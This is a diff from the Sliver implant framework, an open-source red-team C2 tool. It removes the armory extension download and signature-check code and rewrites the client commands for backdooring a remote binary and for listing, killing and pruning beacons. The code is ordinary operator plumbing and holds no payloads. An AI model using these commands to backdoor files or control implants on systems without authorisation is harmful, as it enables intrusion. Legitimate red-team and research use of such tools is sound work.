if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFile.Name(), con, true)
return nil
}
-444
View File
@@ -1,444 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{
ArmoryConfig: armoryConfig,
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
if err != nil {
return nil, nil, err
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{
ArmoryConfig: armoryConfig,
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
noAuth := &assets.ArmoryConfig{
Authorization: "",
}
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
if err != nil {
return nil, nil, err
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
client := httpClient(clientConfig)
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
if err != nil {
return nil, nil, err
}
if len(extraHeaders) > 0 {
for key := range extraHeaders {
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
}
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
return resp, body, err
}
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
downloadHdr := http.Header{
"Accept": {"application/octet-stream"},
}
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
}
return body, err
}
-70
View File
@@ -1,70 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := args[0]
// rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, extm := range exts {
for _, ext := range extm.ExtCommand {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, extm)
}
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
-114
View File
@@ -1,114 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := os.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := os.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
results = append(results, localManifest.Name)
}
}
}
return results
}
+8 -11
View File
@@ -19,39 +19,36 @@ package backdoor
*/
import (
"context"
"fmt"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
remoteFilePath := args[0]
remoteFilePath := ctx.Args.String("remote-file")
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName, _ := cmd.Flags().GetString("profile")
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
profileName := ctx.Flags.String("profile")
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+37 -72
View File
@@ -19,26 +19,25 @@ package beacons
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
killFlag, _ := cmd.Flags().GetString("kill")
killAll, _ := cmd.Flags().GetBool("kill-all")
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
@@ -47,7 +46,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, cmd, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -63,7 +62,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, cmd, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -72,47 +71,35 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter, _ := cmd.Flags().GetString("filter")
var filterRegex *regexp.Regexp
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
var err error
filterRegex, err = regexp.Compile(filterRe)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -122,7 +109,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -131,7 +117,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"ID",
"Name",
"Transport",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
@@ -146,58 +131,38 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
+5 -11
View File
@@ -20,6 +20,7 @@ package beacons
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
@@ -27,7 +28,6 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -44,9 +44,7 @@ var (
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
@@ -103,9 +101,7 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
@@ -113,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
if beacon.ID == beaconID {
return beacon, nil
}
}
@@ -121,9 +117,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
+8 -11
View File
@@ -19,28 +19,25 @@ package beacons
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
duration, _ := cmd.Flags().GetString("duration")
pruneDuration, err := time.ParseDuration(duration)
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -51,7 +48,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
